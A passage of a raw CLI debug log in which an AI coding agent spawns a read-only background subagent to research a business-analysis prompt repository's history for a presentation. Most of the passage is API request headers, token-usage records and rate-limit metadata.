\"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.648Z] [INFO]   \"uuid\": \"d80a7b7a-8e83-4846-9662-864f88a8c6b4\"\n[2026-09-29T07:44:13.648Z] [INFO] }\n[2026-09-29T07:44:13.655Z] [INFO] {\n[2026-09-29T07:44:13.655Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.655Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.655Z] [INFO]   \"estimated_tokens\": 48,\n[2026-09-29T07:44:13.655Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.655Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.655Z] [INFO]   \"uuid\": \"8892c9a2-f2d5-46da-bf3b-26f5a422b754\"\n[2026-09-29T07:44:13.655Z] [INFO] }\n[2026-09-29T07:44:13.662Z] [INFO] {\n[2026-09-29T07:44:13.662Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:13.662Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:13.662Z] [INFO]   \"estimated_tokens\": 49,\n[2026-09-29T07:44:13.662Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:13.662Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.662Z] [INFO]   \"uuid\": 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[INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:13.673Z] [INFO]     \"content\": [\n[2026-09-29T07:44:13.673Z] [INFO]       {\n[2026-09-29T07:44:13.673Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:44:13.673Z] [INFO]         \"thinking\": \"I've cloned mango_ba_prompts and fetched the issue-639 research branch. Now I'll kick off parallel research agents while reading through the ba-ai-process meta-model docs myself.\\n\\n\",\n[2026-09-29T07:44:13.673Z] [INFO]         \"signature\": \"CAQShQYKEQgSGAI4AUIJbmFycmF0aW9uEgx/B1Gjh7S0vNc96koaDKXg+BDY+znIbNxybCIwmI2poBGeacYFMhrD20gl1bv6Wv6+dgjJ0cNsBp34spyo6IZcSvXTbnsEHM+/VNyZKqEFt/wgLkAZTNogzI/i3bLFSehZZ1TmhiGPXRSoQ4e+be+VZIEl98k1A+Gkg+gkyltf6OMLaaOHP/Fdm1w/An1JW3u7uRKbd8p3FeW9N/eJuhkVAhRfYRy7zVlz3lJ+pleaE3MXgnTtGdwVJafo2tjDp3FWvAQM2Uy6af8l3F2fVg3X3eUJ9fZix30k1dCnrjWmf7FSwg/yqixRZZslLtLBmubQPV6JG8l7UrFXLzhrCCKWowpe7MBF0Lz2msn7Roa3XpyFEzXOqe8RtuPWVz0pOwMvviiaKH96ovre6PsJ/r14QnKkX6lwb8OIuYX59sAm/8o724qbekfawwVcBhWZW04JmgjyV5uNZ7hHeBpTU+iD24R4s4LdvlP60d8Bv93Lm0HdvR1ZkXREf/BXAFdQvHoZDU2I+a/1HifwpV5zHSkM2K0LxQg5qyi5Bw95DXmv75S+QgvHlNK2+YuLONS1Tq/IrLqovwsq2dULshTNIGe0ONoK7bWwdslMsyXiCGFeOrR3qj242r9iRpI72OqILhlg7OpHAVKyyM7hXWdjIoYomFqANDQjczk66Tqhvmrk9NTh1r9NNzgKbD1FEmeHEhxE74HN624nrM4fz6trf/Or4kt555U3gSGoeOlmBdSkff6R77iRhv/XCczon9RMd8kW/gwQy5ci2sInetrka85g9zej0Z6BgoQMaH0jEIoiwEajz7vlYLHWeKsEZ3IEtIRMMxWAlbYgccOIkNX+W6v0wPOdrzk2lzWeGa8qaUA84l8hfCm/8pEx8p01y63yn/eOOWtbr+Ua6YHnkQqd/yOamuJUfcO8Ixa9TbAYRPChXyRI/JTxRe2kU9+xii76vH/MUR0bxw+Gm+9wl0ObRcmlDe/yv6cs6822STb59Jg53xgB\"\n[2026-09-29T07:44:13.673Z] [INFO]       }\n[2026-09-29T07:44:13.673Z] [INFO]     ],\n[2026-09-29T07:44:13.673Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:13.673Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:13.673Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:13.673Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:13.673Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:13.673Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:13.673Z] [INFO]       \"cache_creation_input_tokens\": 968,\n[2026-09-29T07:44:13.673Z] [INFO]       \"cache_read_input_tokens\": 32813,\n[2026-09-29T07:44:13.673Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:13.673Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:13.673Z] [INFO]         \"ephemeral_1h_input_tokens\": 968\n[2026-09-29T07:44:13.673Z] [INFO]       },\n[2026-09-29T07:44:13.673Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:44:13.673Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:13.673Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:13.673Z] [INFO]     },\n[2026-09-29T07:44:13.673Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:13.673Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:13.673Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:13.673Z] [INFO]   },\n[2026-09-29T07:44:13.673Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:13.673Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:13.673Z] [INFO]   \"uuid\": \"e429072a-165b-4001-add8-8c37df0d7118\",\n[2026-09-29T07:44:13.673Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:13.604Z\",\n[2026-09-29T07:44:13.673Z] [INFO]   \"request_id\": \"req_011CfXMfJrAzrbk2QzHMedkb\",\n[2026-09-29T07:44:13.673Z] [INFO]   \"narration_block_indexes\": [\n[2026-09-29T07:44:13.673Z] [INFO]     0\n[2026-09-29T07:44:13.673Z] [INFO]   ]\n[2026-09-29T07:44:13.673Z] [INFO] }\n[2026-09-29T07:44:22.294Z] [INFO] {\n[2026-09-29T07:44:22.294Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:22.294Z] [INFO]   \"message\": {\n[2026-09-29T07:44:22.294Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:22.294Z] [INFO]     \"id\": \"msg_011CfXMfKMwHxkfowaZNkZ7Z\",\n[2026-09-29T07:44:22.294Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:22.294Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:22.294Z] [INFO]     \"content\": [\n[2026-09-29T07:44:22.294Z] [INFO]       {\n[2026-09-29T07:44:22.294Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:22.294Z] [INFO]         \"id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:22.294Z] [INFO]         \"name\": \"Agent\",\n[2026-09-29T07:44:22.294Z] [INFO]         \"input\": {\n[2026-09-29T07:44:22.294Z] [INFO]           \"description\": \"Analyze mango_ba_prompts history\",\n[2026-09-29T07:44:22.294Z] [INFO]           \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:22.294Z] [INFO]           \"prompt\": \"Research task (read-only; do NOT modify any files except writing your notes to /tmp/research-notes/mango_ba_prompts.md). The repository G-Ivan-A/mango_ba_prompts is cloned at /tmp/mango_ba_prompts (583 commits). I am preparing an executive presentation to the Head of AI development at Mango about a business-analysis (BA) meta-model, and I need verified facts about how this project evolved \\\"from chaotic prompt attempts to a systematic methodology\\\", based on 60+ recorded task runs.\\n\\nProduce a factual evidence report (in Russian or English, facts with exact file paths and, where useful, commit hashes/dates) covering:\\n1. Repository structure: what each top-level dir is (prompts, runs, kb, patterns, standards, ai-rules, site, tools, experiments, docs, pr-ops) \u2014 1-2 lines each.\\n2. Runs: exactly how many recorded runs exist in runs/ (count them precisely, explain how you counted), date range, what a run record contains (structure), and notable categories/types of tasks. Find any aggregated metrics (quality scores, defect counts, rework, time, pass/fail, token counts) \u2014 quote concrete numbers with paths.\\n3. Evolution timeline: using git log (dates, first commit, major phases), describe phases of evolution of prompts (e.g., monolithic prompts \u2192 structured prompts \u2192 skills/contracts/validators). Quote key commit messages and dates. Identify turning points (e.g., introduction of golden templates, validators, fail-closed checks, human gate, KB).\\n4. Key lessons/defects documented in the repo (post-mortems, forensics, retrospectives): concrete failure modes of direct LLM generation of BA artifacts (hallucinations, lost context, format drift, etc.) with quotes and paths.\\n5. Any artifacts describing the target pipeline: normalization of requests, reconciliation with docs/cases, generation from golden templates with source links, human gate, translation into contract/development format. Paths.\\n6. The runtime environments used (GigaCode, Cline, CLI, etc.) and any evidence of their use.\\nAlso give the GitHub absolute URL format: https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/ (verify default branch name with git). Be precise; do not invent numbers \u2014 if something cannot be determined, say so. Write the full report to /tmp/research-notes/mango_ba_prompts.md (mkdir -p first) and return a concise summary (up to ~1500 words) with the most presentation-worthy facts and numbers.\"\n[2026-09-29T07:44:22.294Z] [INFO]         },\n[2026-09-29T07:44:22.294Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:22.294Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:22.294Z] [INFO]         }\n[2026-09-29T07:44:22.294Z] [INFO]       }\n[2026-09-29T07:44:22.294Z] [INFO]     ],\n[2026-09-29T07:44:22.294Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:22.294Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:22.294Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:22.294Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:22.294Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:22.294Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:22.294Z] [INFO]       \"cache_creation_input_tokens\": 968,\n[2026-09-29T07:44:22.294Z] [INFO]       \"cache_read_input_tokens\": 32813,\n[2026-09-29T07:44:22.294Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:22.294Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:22.294Z] [INFO]         \"ephemeral_1h_input_tokens\": 968\n[2026-09-29T07:44:22.294Z] [INFO]       },\n[2026-09-29T07:44:22.294Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:44:22.294Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:22.294Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:22.294Z] [INFO]     },\n[2026-09-29T07:44:22.294Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:22.294Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:22.294Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:22.294Z] [INFO]   },\n[2026-09-29T07:44:22.294Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:22.294Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:22.294Z] [INFO]   \"uuid\": \"8188a6b1-d48a-42d3-93a0-e0439f248186\",\n[2026-09-29T07:44:22.294Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:22.286Z\",\n[2026-09-29T07:44:22.294Z] [INFO]   \"request_id\": \"req_011CfXMfJrAzrbk2QzHMedkb\",\n[2026-09-29T07:44:22.294Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:44:22.294Z] [INFO]     \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\": {\n[2026-09-29T07:44:22.294Z] [INFO]       \"description\": \"Analyze mango_ba_prompts history\",\n[2026-09-29T07:44:22.294Z] [INFO]       \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:22.294Z] [INFO]       \"prompt\": \"Research task (read-only; do NOT modify any files except writing your notes to /tmp/research-notes/mango_ba_prompts.md). The repository G-Ivan-A/mango_ba_prompts is cloned at /tmp/mango_ba_prompts (583 commits). I am preparing an executive presentation to the Head of AI development at Mango about a business-analysis (BA) meta-model, and I need verified facts about how this project evolved \\\"from chaotic prompt attempts to a systematic methodology\\\", based on 60+ recorded task runs.\\n\\nProduce a factual evidence report (in Russian or English, facts with exact file paths and, where useful, commit hashes/dates) covering:\\n1. Repository structure: what each top-level dir is (prompts, runs, kb, patterns, standards, ai-rules, site, tools, experiments, docs, pr-ops) \u2014 1-2 lines each.\\n2. Runs: exactly how many recorded runs exist in runs/ (count them precisely, explain how you counted), date range, what a run record contains (structure), and notable categories/types of tasks. Find any aggregated metrics (quality scores, defect counts, rework, time, pass/fail, token counts) \u2014 quote concrete numbers with paths.\\n3. Evolution timeline: using git log (dates, first commit, major phases), describe phases of evolution of prompts (e.g., monolithic prompts \u2192 structured prompts \u2192 skills/contracts/validators). Quote key commit messages and dates. Identify turning points (e.g., introduction of golden templates, validators, fail-closed checks, human gate, KB).\\n4. Key lessons/defects documented in the repo (post-mortems, forensics, retrospectives): concrete failure modes of direct LLM generation of BA artifacts (hallucinations, lost context, format drift, etc.) with quotes and paths.\\n5. Any artifacts describing the target pipeline: normalization of requests, reconciliation with docs/cases, generation from golden templates with source links, human gate, translation into contract/development format. Paths.\\n6. The runtime environments used (GigaCode, Cline, CLI, etc.) and any evidence of their use.\\nAlso give the GitHub absolute URL format: https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/ (verify default branch name with git). Be precise; do not invent numbers \u2014 if something cannot be determined, say so. Write the full report to /tmp/research-notes/mango_ba_prompts.md (mkdir -p first) and return a concise summary (up to ~1500 words) with the most presentation-worthy facts and numbers.\"\n[2026-09-29T07:44:22.294Z] [INFO]     }\n[2026-09-29T07:44:22.294Z] [INFO]   }\n[2026-09-29T07:44:22.294Z] [INFO] }\n[2026-09-29T07:44:22.306Z] [INFO] \ud83e\udd16 Sub-agent call #1: \"Analyze mango_ba_prompts history\" (model: default)\n[2026-09-29T07:44:22.316Z] [INFO] {\n[2026-09-29T07:44:22.316Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:22.316Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T07:44:22.316Z] [INFO]   \"tasks\": [\n[2026-09-29T07:44:22.316Z] [INFO]     {\n[2026-09-29T07:44:22.316Z] [INFO]       \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:22.316Z] [INFO]       \"task_type\": \"local_agent\",\n[2026-09-29T07:44:22.316Z] [INFO]       \"description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:22.316Z] [INFO]     }\n[2026-09-29T07:44:22.316Z] [INFO]   ],\n[2026-09-29T07:44:22.316Z] [INFO]   \"uuid\": \"379d41f5-3cb2-49a6-b33e-dc54cb219f5e\",\n[2026-09-29T07:44:22.316Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:22.316Z] [INFO] }\n[2026-09-29T07:44:22.324Z] [INFO] {\n[2026-09-29T07:44:22.324Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"description\": \"Analyze mango_ba_prompts history\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"is_backgrounded\": true,\n[2026-09-29T07:44:22.324Z] [INFO]   \"spawn_depth\": 1,\n[2026-09-29T07:44:22.324Z] [INFO]   \"task_type\": \"local_agent\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"prompt\": \"Research task (read-only; do NOT modify any files except writing your notes to /tmp/research-notes/mango_ba_prompts.md). The repository G-Ivan-A/mango_ba_prompts is cloned at /tmp/mango_ba_prompts (583 commits). I am preparing an executive presentation to the Head of AI development at Mango about a business-analysis (BA) meta-model, and I need verified facts about how this project evolved \\\"from chaotic prompt attempts to a systematic methodology\\\", based on 60+ recorded task runs.\\n\\nProduce a factual evidence report (in Russian or English, facts with exact file paths and, where useful, commit hashes/dates) covering:\\n1. Repository structure: what each top-level dir is (prompts, runs, kb, patterns, standards, ai-rules, site, tools, experiments, docs, pr-ops) \u2014 1-2 lines each.\\n2. Runs: exactly how many recorded runs exist in runs/ (count them precisely, explain how you counted), date range, what a run record contains (structure), and notable categories/types of tasks. Find any aggregated metrics (quality scores, defect counts, rework, time, pass/fail, token counts) \u2014 quote concrete numbers with paths.\\n3. Evolution timeline: using git log (dates, first commit, major phases), describe phases of evolution of prompts (e.g., monolithic prompts \u2192 structured prompts \u2192 skills/contracts/validators). Quote key commit messages and dates. Identify turning points (e.g., introduction of golden templates, validators, fail-closed checks, human gate, KB).\\n4. Key lessons/defects documented in the repo (post-mortems, forensics, retrospectives): concrete failure modes of direct LLM generation of BA artifacts (hallucinations, lost context, format drift, etc.) with quotes and paths.\\n5. Any artifacts describing the target pipeline: normalization of requests, reconciliation with docs/cases, generation from golden templates with source links, human gate, translation into contract/development format. Paths.\\n6. The runtime environments used (GigaCode, Cline, CLI, etc.) and any evidence of their use.\\nAlso give the GitHub absolute URL format: https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/ (verify default branch name with git). Be precise; do not invent numbers \u2014 if something cannot be determined, say so. Write the full report to /tmp/research-notes/mango_ba_prompts.md (mkdir -p first) and return a concise summary (up to ~1500 words) with the most presentation-worthy facts and numbers.\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"uuid\": \"a417e3d6-fb81-4222-9fbe-42f9c4e9ec0b\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:22.324Z] [INFO] }\n[2026-09-29T07:44:22.353Z] [INFO] {\n[2026-09-29T07:44:22.353Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:22.353Z] [INFO]   \"message\": {\n[2026-09-29T07:44:22.353Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"content\": [\n[2026-09-29T07:44:22.353Z] [INFO]       {\n[2026-09-29T07:44:22.353Z] [INFO]         \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:22.353Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:22.353Z] [INFO]         \"content\": [\n[2026-09-29T07:44:22.353Z] [INFO]           {\n[2026-09-29T07:44:22.353Z] [INFO]             \"type\": \"text\",\n[2026-09-29T07:44:22.353Z] [INFO]             \"text\": \"Async agent launched successfully. (This tool result is internal metadata \u2014 never quote or paste any part of it, including the agentId below, into a user-facing reply.)\\nagentId: aadf7f40500b72ce3 (internal ID - do not mention to user. Use SendMessage with to: 'aadf7f40500b72ce3', summary: '<5-10 word recap>' to continue this agent.)\\nThe agent is working in the background. You will be notified automatically when it completes. You know nothing about its results until that notification arrives \u2014 do not report, assume, or predict them; continue other work or respond to the user in the meantime.\\nDo not duplicate this agent's work \u2014 avoid working with the same files or topics it is using.\\noutput_file: /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/aadf7f40500b72ce3.output\\nDo NOT Read or tail this file via the shell tool \u2014 it is the full subagent JSONL transcript and reading it will overflow your context. If the user asks for progress, say the agent is still running; you'll get a completion notification.\"\n[2026-09-29T07:44:22.353Z] [INFO]           }\n[2026-09-29T07:44:22.353Z] [INFO]         ]\n[2026-09-29T07:44:22.353Z] [INFO]       }\n[2026-09-29T07:44:22.353Z] [INFO]     ]\n[2026-09-29T07:44:22.353Z] [INFO]   },\n[2026-09-29T07:44:22.353Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:22.353Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:22.353Z] [INFO]   \"uuid\": \"de44b3bc-7541-4444-877a-2013710b1931\",\n[2026-09-29T07:44:22.353Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:22.326Z\",\n[2026-09-29T07:44:22.353Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:22.353Z] [INFO]     \"isAsync\": true,\n[2026-09-29T07:44:22.353Z] [INFO]     \"status\": \"async_launched\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"agentId\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"description\": \"Analyze mango_ba_prompts history\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"resolvedModel\": \"claude-opus-5-5\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"prompt\": \"Research task (read-only; do NOT modify any files except writing your notes to /tmp/research-notes/mango_ba_prompts.md). The repository G-Ivan-A/mango_ba_prompts is cloned at /tmp/mango_ba_prompts (583 commits). I am preparing an executive presentation to the Head of AI development at Mango about a business-analysis (BA) meta-model, and I need verified facts about how this project evolved \\\"from chaotic prompt attempts to a systematic methodology\\\", based on 60+ recorded task runs.\\n\\nProduce a factual evidence report (in Russian or English, facts with exact file paths and, where useful, commit hashes/dates) covering:\\n1. Repository structure: what each top-level dir is (prompts, runs, kb, patterns, standards, ai-rules, site, tools, experiments, docs, pr-ops) \u2014 1-2 lines each.\\n2. Runs: exactly how many recorded runs exist in runs/ (count them precisely, explain how you counted), date range, what a run record contains (structure), and notable categories/types of tasks. Find any aggregated metrics (quality scores, defect counts, rework, time, pass/fail, token counts) \u2014 quote concrete numbers with paths.\\n3. Evolution timeline: using git log (dates, first commit, major phases), describe phases of evolution of prompts (e.g., monolithic prompts \u2192 structured prompts \u2192 skills/contracts/validators). Quote key commit messages and dates. Identify turning points (e.g., introduction of golden templates, validators, fail-closed checks, human gate, KB).\\n4. Key lessons/defects documented in the repo (post-mortems, forensics, retrospectives): concrete failure modes of direct LLM generation of BA artifacts (hallucinations, lost context, format drift, etc.) with quotes and paths.\\n5. Any artifacts describing the target pipeline: normalization of requests, reconciliation with docs/cases, generation from golden templates with source links, human gate, translation into contract/development format. Paths.\\n6. The runtime environments used (GigaCode, Cline, CLI, etc.) and any evidence of their use.\\nAlso give the GitHub absolute URL format: https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/ (verify default branch name with git). Be precise; do not invent numbers \u2014 if something cannot be determined, say so. Write the full report to /tmp/research-notes/mango_ba_prompts.md (mkdir -p first) and return a concise summary (up to ~1500 words) with the most presentation-worthy facts and numbers.\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"outputFile\": \"/tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/aadf7f40500b72ce3.output\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"canReadOutputFile\": true\n[2026-09-29T07:44:22.353Z] [INFO]   }\n[2026-09-29T07:44:22.353Z] [INFO] }\n[2026-09-29T07:44:22.392Z] [STDOUT] [log_0e596a] sending request {\n[2026-09-29T07:44:22.396Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:22.403Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:22.407Z] [STDOUT]   options: {\n[2026-09-29T07:44:22.409Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:22.414Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:22.421Z] [STDOUT]     body: {\n[2026-09-29T07:44:22.427Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:22.431Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:22.435Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:22.441Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:44:22.445Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:22.449Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:22.454Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:22.457Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:22.461Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:22.465Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:22.471Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:22.474Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:22.479Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:22.484Z] [STDOUT]     },\n[2026-09-29T07:44:22.491Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:22.496Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:22.501Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:22.507Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:22.511Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:22.515Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:22.522Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:22.526Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:22.531Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:22.534Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:22.538Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:22.543Z] [STDOUT]     },\n[2026-09-29T07:44:22.549Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:22.552Z] [STDOUT]   },\n[2026-09-29T07:44:22.555Z] [STDOUT]   headers: {\n[2026-09-29T07:44:22.557Z] [STDOUT]     accept: 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\"application/json\",\n[2026-09-29T07:44:22.584Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:22.587Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:22.591Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:22.594Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:22.597Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:22.602Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:22.606Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:22.610Z] [STDOUT]     \"x-client-request-id\": \"ecf83821-b36d-421b-85c9-f29cc2fcb847\",\n[2026-09-29T07:44:22.613Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:22.617Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:22.621Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:22.624Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:22.628Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:22.633Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:22.636Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:22.638Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:22.643Z] [STDOUT]   },\n[2026-09-29T07:44:22.645Z] [STDOUT] }\n[2026-09-29T07:44:23.180Z] [STDOUT] [log_0e596a, request-id: \"req_011CfXMgACJTevrfJruS1ybi\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 790ms\n[2026-09-29T07:44:23.183Z] [STDOUT] [log_0e596a] response start {\n[2026-09-29T07:44:23.186Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:23.189Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:23.192Z] [STDOUT]   headers: {\n[2026-09-29T07:44:23.197Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:23.199Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:23.202Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:23.211Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:23.217Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:23.221Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:23.227Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:23.232Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:23.235Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": 